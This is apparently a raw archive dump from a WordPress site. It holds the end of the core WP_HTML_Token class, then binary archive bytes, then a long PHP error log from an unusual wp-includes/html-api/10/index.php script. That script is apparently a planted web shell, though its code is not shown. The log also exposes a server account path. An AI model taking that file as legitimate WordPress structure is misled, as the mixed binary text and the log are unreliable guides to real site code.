	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�l{<����	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
